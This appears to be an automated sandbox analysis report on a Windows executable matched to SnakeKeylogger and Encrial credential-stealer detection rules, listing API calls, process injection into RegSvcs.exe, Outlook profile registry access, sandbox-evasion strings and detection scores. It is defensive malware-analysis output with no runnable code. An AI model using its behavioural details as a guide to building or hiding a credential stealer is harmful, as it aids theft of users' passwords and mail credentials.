Source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.MzqLQjCwrw.exe.1e80000.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 2.2.MzqLQjCwrw.exe.1e80000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 2.2.MzqLQjCwrw.exe.1e80000.1.unpack, type: UNPACKEDPE	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000003.00000002.3683362761.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: 00000002.00000002.2453002805.0000000001E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: MAL_Envrial_Jan18_1 date = 2018-01-21, hash2 = 9edd8f0e22340ecc45c5f09e449aa85d196f3f506ff3f44275367df924b95c5d, hash1 = 9ae3aa2c61f7895ba6b1a3f85fbe36c8697287dc7477c5a03d32cf994fdbce85, author = Florian Roth, description = Detects Encrial credential stealer malware, reference = https://twitter.com/malwrhunterteam/status/953313514629853184, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: Process Memory Space: MzqLQjCwrw.exe PID: 5464, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23
Source: Process Memory Space: RegSvcs.exe PID: 6368, type: MEMORYSTR	Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 os = windows, severity = x86, creation_date = 2021-04-06, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.SnakeKeylogger, fingerprint = 15f4ef2a03c6f5c6284ea6a9013007e4ea7dc90a1ba9c81a53a1c7407d85890d, id = af3faa65-b19d-4267-ac02-1a3b50cdc700, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/4@3/3

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_0025A06A GetLastError,FormatMessageW,

2_2_0025A06A

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_002481CB AdjustTokenPrivileges,CloseHandle,		2_2_002481CB
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_002487E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		2_2_002487E1

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_0025B333 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

2_2_0025B333

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_0026EE0D CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

2_2_0026EE0D

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_002683BB CoInitialize,CoUninitialize,CoCreateInstance,IIDFromString,VariantInit,VariantClear,

2_2_002683BB

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_001F4E89 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

2_2_001F4E89

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

File created: C:\Users\user\AppData\Local\Temp\aut7D5.tmp

Jump to behavior

Source: MzqLQjCwrw.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegSvcs.exe, 00000003.00000002.3684930754.0000000003138000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.0000000003116000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.0000000003124000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3685918099.000000000404D000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.0000000003106000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000003.00000002.3684930754.0000000003145000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: MzqLQjCwrw.exe	Virustotal: Detection: 64%
Source: MzqLQjCwrw.exe	ReversingLabs: Detection: 68%

Source: unknown	Process created: C:\Users\user\Desktop\MzqLQjCwrw.exe "C:\Users\user\Desktop\MzqLQjCwrw.exe"
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\MzqLQjCwrw.exe"
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\MzqLQjCwrw.exe"	Jump to behavior

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Section loaded: wldp.dll	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: MzqLQjCwrw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: MzqLQjCwrw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: MzqLQjCwrw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: MzqLQjCwrw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: MzqLQjCwrw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: MzqLQjCwrw.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: MzqLQjCwrw.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wntdll.pdbUGP source: MzqLQjCwrw.exe, 00000002.00000003.2447008303.0000000003670000.00000004.00001000.00020000.00000000.sdmp, MzqLQjCwrw.exe, 00000002.00000003.2437389735.0000000003B60000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: MzqLQjCwrw.exe, 00000002.00000003.2447008303.0000000003670000.00000004.00001000.00020000.00000000.sdmp, MzqLQjCwrw.exe, 00000002.00000003.2437389735.0000000003B60000.00000004.00001000.00020000.00000000.sdmp

Source: MzqLQjCwrw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: MzqLQjCwrw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: MzqLQjCwrw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: MzqLQjCwrw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: MzqLQjCwrw.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_001F4B37 LoadLibraryA,GetProcAddress,

2_2_001F4B37

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_001FC4FE push A3001FBAh; retn 001Fh		2_2_001FC50D
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00218945 push ecx; ret		2_2_00218958

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_001F48D7 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		2_2_001F48D7
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_00275376 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		2_2_00275376

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Code function: 2_2_00213187 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

2_2_00213187

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

API/Special instruction interceptor: Address: 10B3244

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: MzqLQjCwrw.exe, 00000002.00000002.2452261639.00000000010C8000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: PROCESSHACKER.EXEOR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 599047	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598909	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598759	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598652	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598499	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598156	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 598046	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597937	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597390	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597172	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 597063	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596953	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596734	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596625	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596516	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596406	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596297	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 596187	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595789	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594484	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594375	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594266	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594141	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 594016	Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 2283			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 7562			Jump to behavior

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_2-102332

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe

API coverage: 4.7 %

Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0025445A GetFileAttributesW,FindFirstFileW,FindClose,	2_2_0025445A
Source: C:\Users\user\Desktop\MzqLQjCwrw.exe	Code function: 2_2_0025C6D1 FindFirstFileW,FindClose,	2_2_0025C6D1
